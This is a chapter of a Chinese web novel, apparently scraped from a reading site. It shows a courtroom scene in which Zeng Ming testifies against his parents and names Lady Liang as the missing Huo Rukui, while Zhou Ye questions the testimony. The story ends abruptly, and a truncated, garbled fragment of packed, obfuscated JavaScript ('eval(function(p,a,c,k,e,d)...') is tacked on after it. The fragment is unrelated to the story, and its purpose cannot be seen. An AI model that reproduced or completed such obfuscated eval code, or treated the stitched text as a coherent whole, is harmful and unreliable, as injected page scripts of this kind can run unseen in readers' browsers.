曾家母子对峙的这功夫,周冶往屏风内看了一眼。他早对孟珂说,“你可请曾铭作证。我觉得,你开口,他很可能会站出来的。”
孟珂却只道,“我做事之事便未曾顾念过他,如何要让他来顾念我。”
他也并未强求,倒是想看看这曾铭,到了自家生死存亡之际,还会不会站在是非对错这一边,还是要维护休戚相关的自家利益,自家声名,乃至后半生的衣食无忧。
邵夫人警告地叫了一声:“铭儿!”
曾铭看了她一眼,懂了她眼中的警告。
“母亲!”他对着邵夫人一揖,“儿子不孝!”
“曾铭!”邵夫人厉声喝住了他,“今日你若当堂胡说,我便再没你这个儿子!”
曾铭看也不看她,倒是看向了周冶扫过的方向一眼,仿佛那里有什么人,随即转身对堂上一揖,坚定地道:“大人……”
“你要逼死我吗?”邵夫人怒喝道,“你要让我当堂撞死在这里!”
曾铭弯腰在那,只顿了顿,继续一揖下去,大声道:“霍茹蕙未婚夫曾铭,愿意为证!”
底下当即沸腾起来。衙门口的赌桌上,曾铭的名牌挪到了另一侧。
“先是主仆反目,又有母子成仇,到底谁才是恶人?到底谁输谁赢?”庄家嘿嘿一笑,“这么多银子,将落入谁手!”
堂上,曾铭道:“当年,家父曾怀义与未婚妻霍茹蕙在曾府中苟合,乃是我亲眼撞见!”
“而家父、家母与霍茹蕙,合谋捏造霍家案,串供诬告众人,亦是我亲耳所闻。”
“霍茹蕙,的确没死,而且她早就回到了绥陵,就在这堂上,”
他转向梁夫人,抬手一指,掷地有声地道,“就是她!梁夫人!”
***
曾铭的话一出,有人赞大义灭亲,也有人骂不孝儿孙。
一场戏不落的小年轻啧啧啧道:“撞到这样的事,还能在大庭广众之下说出来,真是…..够爷们儿!”
周冶问:“众人皆知,曾二公子你一直在找未婚妻霍茹蕙,却始终没找到。而你分明早就见过梁夫人。难道,你见过多年,却不曾认出?现在又如何反口指认说,梁夫人便是霍家小姐?”
“并非没有认出,”曾铭道,“而是认出了,却未相认。”
“我再次见到霍茹蕙的时候,她已经同陈大人成亲生子。我想着,木已成舟,多说无益。”
周冶:“那你为何还守着你们二人的婚约?费心费心找寻多年又如何解释?”
曾铭道:“我寻人在前,未娶在后。旁人皆误以为,我是未婚妻失踪,仍死守婚约。实则,草民只是不想娶亲。而当年四处找霍茹蕙下落,也只是……想搞清楚事情真相。”
周冶却听出了一点不对劲:若说曾铭是出于一起长大的情分,想知道她的死活,还说得过去;可他既然听到了那么多,事情真相早就清楚,霍茹蕙的下落,他也不难知道。
既如此,那他还四处找霍茹蕙做什么?他费心费力多年,找人找得人尽皆知,并不是假的。唯一的可能是……他找的根本就不是霍茹蕙!
周冶看向了曾铭——他从一开始就知道事情真相,知道霍茹蕙下落,他找的是梁婉章,可他万万不能打着四处寻找梁婉章的招牌。正好霍茹蕙夺了梁婉章身份,他便名正言顺地找起了未婚妻!
他找的是她!周冶不自觉扫了屏风那边一眼。
“曾铭所言,不足为信!”
邵夫人没反驳,梁夫人站出来了。
周冶收回心神,看着她道:“曾铭与……霍茹蕙,乃青梅竹马,从小一同长大,又是未婚夫妻,无疑是这世上最熟悉霍茹蕙之人。他的证词,还不足为信?”
梁夫人道:“曾铭他……因爱生恨,不可取信!”
周冶听笑了:“这话怎么说!夫人这意思是,对你因爱生恨,还是对霍茹蕙因爱生恨?这么说,是不是承认,夫人你和霍茹蕙,便是同一人?”
“大人容禀。”梁夫人瞥了曾铭一眼,“霍茹蕙虽是他自小定亲的未婚妻,可他心悦的却另有人选。正是青梅竹马一起长大的三人中的……另一人。”
曾铭闻言脑子一突,看向了梁夫人。正撞上她的冷笑,“他因爱生恨的对象,正是我……梁婉章。”
周冶原以为她要扯白,可听她这一说,却倏地就抓到了这真假混杂的辩词里,夹杂的真话——曾铭当初心悦之人,是梁婉章!
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--